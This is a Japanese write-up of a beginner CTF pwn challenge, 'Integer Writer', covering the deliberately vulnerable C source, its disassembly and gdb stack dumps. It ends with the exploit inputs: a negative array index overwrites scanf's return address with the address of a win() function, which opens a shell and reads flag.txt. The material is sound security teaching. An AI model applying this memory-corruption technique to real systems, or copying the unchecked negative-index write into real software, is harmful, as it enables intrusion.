Daily AlpacaHack 2025-12-05 Integer Writer writeup
Daily AlpacaHackとは
初心者に楽しんでもらえるようなシンプルな問題・教育的問題を毎日1問出題します。 月〜金は新規の問題、土日は新たに移植したCTFの過去問を公開します。
2025-12-05 Integer Writer
問題文
うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ…
初心者向けヒント
- この問題は Pwn カテゴリー、すなわち Pwnable (Binary Exploitation) に関する問題です。
- 難易度は Hard になっています。これまでの Easy, Medium より難しく、特に Daily AlpacaHack で初めて CTF を知った方は自力で解くことは難しいでしょう。
- ですので、詰まった場合は適宜 AI も駆使して、解法の糸口を見つけることをおすすめします。
- Pwn は初心者に難しく思われやすいですが、コンピューターの低レイヤーの挙動を楽しめる刺激的なカテゴリーなので、ぜひ挑戦してみてください。
- もし解けなくても、終了後に他のプレイヤーが公開する解法(writeupと言います)を見て、ぜひ復習してみてください。
- 問題公開から 24 時間後に writeup タブが下のタブ一覧に追加されます。
- この問題の配布ファイルでは、C言語のソースコード main.c とそれをコンパイルしたバイナリ chal が与えられています。
- このプログラムでは、プレイヤーから pos, val の入力を受け付けます。
- 今回のゴールは、リモート環境で win 関数を実行してシェルを起動することです。
- 適切な pos, val を送信すると win 関数が呼べるので、そのような値を見つけてください。
- リモート環境には nc コマンドで接続します。
- シェルが取れたら flag.txt を読んで、フラグを取得してください。
ソースコード
// gcc -o chal main.c -fno-pie -no-pie
#include <stdio.h>
#include <string.h>
#include <unistd.h>
/*
** How to get the address of `win` **
$ nm chal | grep win
XXXXXXXXX
This address is **fixed** across executions, because the challenge binary
`chal` is compiled with -fno-pie (i.e., without position-independent code).
*/
void win() {
execve("/bin/sh", NULL, NULL);
}
int main(void) {
int integers[100], pos;
/* disable stdio buffering */
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("pos > ");
scanf("%d", &pos);
if (pos >= 100) {
puts("You're a hacker!");
return 1;
}
printf("val > ");
scanf("%d", &integers[pos]);
return 0;
}
Writeup
このWriteupはPwnへの抵抗を減らす為に書いています。そのため、読者のレベルによっては途中でひらめいて自分で解けるようになると思うので、解けると思った時点で離脱して問題に取り組んでみてください。
わからない単語が出てきたらAIに聞くなりしましょう。
ヒント
以下、追加のヒントです。これを読んだ時点で解ける人もいると思うのでスクロールは慎重に
intは32bitです- 書き換えるのは
scanfのリターンアドレスです - 正の値は
if (pos >= 100)の制限がありますが、負の値は制限がなさそうです - 入力時のスタックを見ると、
mainのリターンアドレスがあるアドレスはintegersより大きい値です - integerより小さいアドレスにある値は書き換え可能なので、そちらを見てみると
mainの途中を指すアドレスがいます
方針
Pwnの問題では多くの場合、RIP(次に実行される命令のアドレスが保持されるレジスタ)を意図した値に書き換えるのが最初の目標になります(これを「RIPを取る」と表現することがあります)。
また、この問題では/bin/shを実行してくれるwin関数が定義されており、PIE(Position Independent Executable)も無効化されている為、RIPをwin関数のアドレスに書き換えることでシェルが起動できます。
RIPを書き換える方法は複数あります。GOTと呼ばれる関数のアドレスが保持されたアドレスの値を書き換えたり、構造体やグローバルアドレスに含まれる関数ポインタの値を書き換えたり、スタック上にあるリターンアドレスを書き換えたり。
どの方法が適しているかは問題によって異なりますが、多くの場合、あるアドレス(もしくはその周辺)に任意の値を書き込む方法があった時、その書き込む先(もしくはその周辺)にあるものを選択します。
今回はスタック上に確保されるローカル変数に対し、Indexを指定して数値を書き込むことができるプログラムです。
つまりその近くにあるスタック上のリターンアドレスを書き換える方針が良さそうですね。
調査
リターンアドレスをwinのアドレスに書き換えたい。というモチベーションが定まったので、書き換えられるスタック上のどこにリターンアドレスがあるか探します。
mainのディスアセンブル結果を見てみましょう
┌ 240: sub.main_4011f5 ();
│ ; var int64_t canary @ rbp-0x8
│ ; var int64_t integers @ rbp-0x1a0
│ ; var int64_t pos @ rbp-0x1a4
│ 0x004011f5 f30f1efa endbr64
│ 0x004011f9 55 push rbp
│ 0x004011fa 4889e5 mov rbp, rsp
│ 0x004011fd 4881ecb001.. sub rsp, 0x1b0
│ 0x00401204 64488b0425.. mov rax, qword fs:[0x28]
│ 0x0040120d 488945f8 mov qword [canary], rax
│ 0x00401211 31c0 xor eax, eax
│ 0x00401213 488b05362e.. mov rax, qword [obj.stdin] ; obj.stdin_GLIBC_2.2.5
│ ; [0x404050:8]=0
│ 0x0040121a be00000000 mov esi, 0 ; char *buf
│ 0x0040121f 4889c7 mov rdi, rax ; FILE *stream
│ 0x00401222 e889feffff call sym.imp.setbuf ; void setbuf(FILE *stream, char *buf)
│ 0x00401227 488b05122e.. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x404040:8]=0
│ 0x0040122e be00000000 mov esi, 0 ; char *buf
│ 0x00401233 4889c7 mov rdi, rax ; FILE *stream
│ 0x00401236 e875feffff call sym.imp.setbuf ; void setbuf(FILE *stream, char *buf)
│ 0x0040123b 488b051e2e.. mov rax, qword [obj.stderr] ; obj.stderr_GLIBC_2.2.5
│ ; [0x404060:8]=0
│ 0x00401242 be00000000 mov esi, 0 ; char *buf
│ 0x00401247 4889c7 mov rdi, rax ; FILE *stream
│ 0x0040124a e861feffff call sym.imp.setbuf ; void setbuf(FILE *stream, char *buf)
│ 0x0040124f bf0c204000 mov edi, str.pos__ ; 0x40200c ; "pos > " ; const char *format
│ 0x00401254 b800000000 mov eax, 0
│ 0x00401259 e862feffff call sym.imp.printf ; int printf(const char *format)
│ 0x0040125e 488d855cfe.. lea rax, [pos]
│ 0x00401265 4889c6 mov rsi, rax
│ 0x00401268 bf13204000 mov edi, 0x402013 ; '\x13 @' ; "%d" ; const char *format
│ 0x0040126d b800000000 mov eax, 0
│ 0x00401272 e869feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x00401277 8b855cfeffff mov eax, dword [pos]
│ 0x0040127d 83f863 cmp eax, 0x63 ; 'c' ; 99
│ ┌─< 0x00401280 7e11 jle 0x401293
│ │ 0x00401282 bf16204000 mov edi, str.Youre_a_hacker_ ; 0x402016 ; "You're a hacker!" ; const char *s
│ │ 0x00401287 e804feffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0040128c b801000000 mov eax, 1
│ ┌──< 0x00401291 eb3c jmp 0x4012cf
│ ││ ; CODE XREF from sub.main_4011f5 @ 0x401280(x)
│ │└─> 0x00401293 bf27204000 mov edi, str.val__ ; 0x402027 ; "val > " ; const char *format
│ │ 0x00401298 b800000000 mov eax, 0
│ │ 0x0040129d e81efeffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x004012a2 8b855cfeffff mov eax, dword [pos]
│ │ 0x004012a8 488d9560fe.. lea rdx, [integers]
│ │ 0x004012af 4898 cdqe
│ │ 0x004012b1 48c1e002 shl rax, 2
│ │ 0x004012b5 4801d0 add rax, rdx
│ │ 0x004012b8 4889c6 mov rsi, rax
│ │ 0x004012bb bf13204000 mov edi, 0x402013 ; '\x13 @' ; "%d" ; const char *format
│ │ 0x004012c0 b800000000 mov eax, 0
│ │ 0x004012c5 e816feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ │ 0x004012ca b800000000 mov eax, 0
│ │ ; CODE XREF from sub.main_4011f5 @ 0x401291(x)
│ └──> 0x004012cf 488b55f8 mov rdx, qword [canary]
│ 0x004012d3 64482b1425.. sub rdx, qword fs:[0x28]
│ ┌─< 0x004012dc 7405 je 0x4012e3
│ │ 0x004012de e8bdfdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sub.main_4011f5 @ 0x4012dc(x)
│ └─> 0x004012e3 c9 leave
└ 0x004012e4 c3 ret
ここで、gdbを起動して0x401204(sub rsp, 0x1b0によってローカル変数の為のスタックフレームが確保された直後)にbreakpointを設定した上で実行してみると、想定されたローカル変数の領域がわかります。
0x00007fffffffcb90│+0x0000: 0x0000000000000001 ← $rsp
0x00007fffffffcb98│+0x0008: 0x0000000000000000 ← pos ($rbp-0x1a4)
0x00007fffffffcba0│+0x0010: 0x0000000000000000 ← integers ($rbp-0x1a0)
0x00007fffffffcba8│+0x0018: 0x0000000000000000
0x00007fffffffcbb0│+0x0020: 0x0000000000000000
0x00007fffffffcbb8│+0x0028: 0x0000000000000000
0x00007fffffffcbc0│+0x0030: 0x0000000000000000
0x00007fffffffcbc8│+0x0038: 0x0000000000000000
0x00007fffffffcbd0│+0x0040: 0x0000000000000000
0x00007fffffffcbd8│+0x0048: 0x0000000000000000
0x00007fffffffcbe0│+0x0050: 0x0000000000000000
0x00007fffffffcbe8│+0x0058: 0x0000000000000000
0x00007fffffffcbf0│+0x0060: 0x0000000000000000
0x00007fffffffcbf8│+0x0068: 0x0000000000000000
0x00007fffffffcc00│+0x0070: 0x0000000000000000
0x00007fffffffcc08│+0x0078: 0x0000000000000000
0x00007fffffffcc10│+0x0080: 0x0000000000000000
0x00007fffffffcc18│+0x0088: 0x0000000000000000
0x00007fffffffcc20│+0x0090: 0x0000000000c00000
0x00007fffffffcc28│+0x0098: 0x0000000000000008
0x00007fffffffcc30│+0x00a0: 0x0000000000000040 ("@"?)
0x00007fffffffcc38│+0x00a8: 0x0000000000000008
0x00007fffffffcc40│+0x00b0: 0x0000000000000040 ("@"?)
0x00007fffffffcc48│+0x00b8: 0x0000000000000000
0x00007fffffffcc50│+0x00c0: 0xffffffffffffffff
0x00007fffffffcc58│+0x00c8: 0x0000000000000000
0x00007fffffffcc60│+0x00d0: 0x0000000000000000
0x00007fffffffcc68│+0x00d8: 0x0000007100000017
0x00007fffffffcc70│+0x00e0: 0x0000001000000000
0x00007fffffffcc78│+0x00e8: 0x0000000000000000
0x00007fffffffcc80│+0x00f0: 0x0000000000000002
0x00007fffffffcc88│+0x00f8: 0x8000000000000006
0x00007fffffffcc90│+0x0100: 0x0000000000000000
0x00007fffffffcc98│+0x0108: 0x0000000000000000
0x00007fffffffcca0│+0x0110: 0x0000000000000000
0x00007fffffffcca8│+0x0118: 0x0000000000000000
0x00007fffffffccb0│+0x0120: 0x0000000000000000
0x00007fffffffccb8│+0x0128: 0x0000000000000000
0x00007fffffffccc0│+0x0130: 0x000000000000000d
0x00007fffffffccc8│+0x0138: 0x0000000000000001
0x00007fffffffccd0│+0x0140: 0x0000000000000001
0x00007fffffffccd8│+0x0148: 0x0000000000000001
0x00007fffffffcce0│+0x0150: 0x0000000000400040 → 0x0000000400000006
0x00007fffffffcce8│+0x0158: 0x00007ffff7fe283c → <_dl_sysdep_start+1020> mov rax, QWORD PTR [rsp+0x58]
0x00007fffffffccf0│+0x0160: 0x00000000000006f0
0x00007fffffffccf8│+0x0168: 0x00007fffffffd2e9 → 0xb094f0f4fe241f08
0x00007fffffffcd00│+0x0170: 0x00007ffff7fc1000 → 0x00010102464c457f
0x00007fffffffcd08│+0x0178: 0x0000010101000000
0x00007fffffffcd10│+0x0180: 0x0000000000000002
0x00007fffffffcd18│+0x0188: 0x00000000178bfbff
0x00007fffffffcd20│+0x0190: 0x00007fffffffd2f9 → 0x000034365f363878 ("x86_64"?)
0x00007fffffffcd28│+0x0198: 0x0000000000000064 ("d"?)
0x00007fffffffcd30│+0x01a0: 0x0000000000001000 ← integers[99]
0x00007fffffffcd38│+0x01a8: 0x00000000004010f0 → <_start+0> endbr64 ← canary ($rbp-0x8)
0x00007fffffffcd40│+0x01b0: 0x0000000000000001 ← $rbp
0x00007fffffffcd48│+0x01b8: 0x00007ffff7c29d90 → <__libc_start_call_main+128> mov edi, eax
0x00007fffffffcd50│+0x01c0: 0x0000000000000000
0x00007fffffffcd58│+0x01c8: 0x00000000004011f5 → <main+0> endbr64
さて、見たところmainのリターンアドレスはintegersの[0] ~ [99]には収まっていないようです。
また、今回書き換えられるのはintの値であり、intはこの環境では32bitです。
たとえmainのリターンアドレスをwinのものに書き換えようとしても、下位32bitだけが書き換わった0x00007fff004011d6という違うアドレスになってしまいます。
では次に、もう少しプログラムの実行を進めて、実際に値を書き換える時のスタックの状態を見てみましょう。
とりあえずposには-1を入れ、scanf("%d", &integers[-1])が呼ばれた直後の状態を見てみます。
呼び出す直前はこのようになっており、
──── stack ────
0x00007fffffffcb90│+0x0000: 0x0000000000000001 ← $rsp
0x00007fffffffcb98│+0x0008: 0xffffffff00000000 ← pos ($rbp-0x1a4)
0x00007fffffffcba0│+0x0010: 0x0000000000000000 ← $rdx integers ($rbp-0x1a0)
0x00007fffffffcba8│+0x0018: 0x0000000000000000
0x00007fffffffcbb0│+0x0020: 0x0000000000000000
0x00007fffffffcbb8│+0x0028: 0x0000000000000000
0x00007fffffffcbc0│+0x0030: 0x0000000000000000
0x00007fffffffcbc8│+0x0038: 0x0000000000000000
──── code:x86:64 ────
0x4012b8 <main+195> mov rsi, rax
0x4012bb <main+198> mov edi, 0x402013
0x4012c0 <main+203> mov eax, 0x0
→ 0x4012c5 <main+208> call 0x4010e0
↳ 0x4010e0 endbr64
0x4010e4 jmp QWORD PTR [rip+0x2f3e] # 0x404028 <__isoc99_scanf@got.plt>
0x4010ea nop WORD PTR [rax+rax*1+0x0]
0x4010f0 <_start+0> endbr64
0x4010f4 <_start+4> xor ebp, ebp
0x4010f6 <_start+6> mov r9, rdx
実際にscanfに入ると
──── stack ────
0x00007fffffffcb88│+0x0000: 0x00000000004012ca → <main+213> mov eax, 0x0 ← $rsp
0x00007fffffffcb90│+0x0008: 0x0000000000000001
0x00007fffffffcb98│+0x0010: 0xffffffff00000000 ← pos ($rbp-0x1a4)
0x00007fffffffcba0│+0x0018: 0x0000000000000000 ← $rdx integers ($rbp-0x1a0)
0x00007fffffffcba8│+0x0020: 0x0000000000000000
0x00007fffffffcbb0│+0x0028: 0x0000000000000000
0x00007fffffffcbb8│+0x0030: 0x0000000000000000
0x00007fffffffcbc0│+0x0038: 0x0000000000000000
──── code:x86:64 ────
0x4010d0 endbr64
0x4010d4 jmp QWORD PTR [rip+0x2f46] # 0x404020 <execve@got.plt>
0x4010da nop WORD PTR [rax+rax*1+0x0]
→ 0x4010e0 endbr64
0x4010e4 jmp QWORD PTR [rip+0x2f3e] # 0x404028 <__isoc99_scanf@got.plt>
0x4010ea nop WORD PTR [rax+rax*1+0x0]
0x4010f0 <_start+0> endbr64
0x4010f4 <_start+4> xor ebp, ebp
0x4010f6 <_start+6> mov r9, rdx
このように、call scanfによって、scanf自体のリターンアドレスである0x4012caがスタック上に積まれることが確認できます。
このアドレスは32bitで正しく書き換えられる上、実際に値の書き換えが発生するscanfそのもののリターンアドレスなので、書き換えた後に遷移するはずです。
Exploit
では実際に計算して書き換えてみましょう。
ここで、integersは0x00007fffffffcba0に、scanfのリターンアドレスは0x00007fffffffcb88にあるので、
0x00007fffffffcb88 - 0x00007fffffffcba0 = 24
書き換える値が32bit単位なので、24 / 4 = 6となります。
つまり、posを-6にすることでscanfのリターンアドレスを書き換えられそうです。実際にgdbで引数を確認してみましょう。
───── code:x86:64 ────
0x4012b8 <main+195> mov rsi, rax
0x4012bb <main+198> mov edi, 0x402013
0x4012c0 <main+203> mov eax, 0x0
→ 0x4012c5 <main+208> call 0x4010e0
↳ 0x4010e0 endbr64
0x4010e4 jmp QWORD PTR [rip+0x2f3e] # 0x404028 <__isoc99_scanf@got.plt>
0x4010ea nop WORD PTR [rax+rax*1+0x0]
0x4010f0 <_start+0> endbr64
0x4010f4 <_start+4> xor ebp, ebp
0x4010f6 <_start+6> mov r9, rdx
───── arguments (guessed) ────
0x4010e0 (
$rdi = 0x0000000000402013 → 0x7227756f59006425 ("%d"?),
$rsi = 0x00007fffffffcb88 → 0x00000000004012a2 → <main+173> mov eax, DWORD PTR [rbp-0x1a4],
$rdx = 0x00007fffffffcba0 → 0x0000000000000000
)
呼び出す時点ではその前に呼び出されたprintfのリターンアドレスが入っていますが、正しそうです。
通常通りプログラムを実行して、posに-6を、valにwinのアドレス(0x004011d6 == 4198870)を入力してみましょう。
$ ./chal
pos > -6
val > 4198870
$ echo hello
hello
無事シェルが起動できました。
リモートでも実行してみると
pos > -6
val > 4198870
cat flag.txt
****flagは自分で確認してみましょう****
無事Flagが取得できました。
まとめ
Daily AlpacaHackが始まって最初のPwnで、少し挫折を感じた方もいるかもしれませんが、これは初心者向けの問題の中では結構難しい(というより気づきが必要)なタイプだと思うので、素直に解けなくても気にする必要はありません。
また、そもそもPwnというカテゴリは必要な暗黙知が多い(要出典。他ジャンルもそうでは?)ので、何も知らずに挑んで解けずに絶望するのではなく、解きながら学んでいきましょう(これは全ジャンルに言えることで、Beginnersの問題もそうです)。
初心者向けCTFの多くは「初心者が何も知らなくても全部解ける」というよりも「初心者が解いていく中で学びを得られる」というものが多いです。(もちろん”初心者”のレベルによりますが)
ちなみに今日(2025-12-06)はSECCON Beginnersの過去問であるsimpleoverflowが出題されています。難易度はEasyです。
おわりに
この記事は🎄GMOぺパボ エンジニア Advent Calendar 2025の6日目の記事とします。
Comments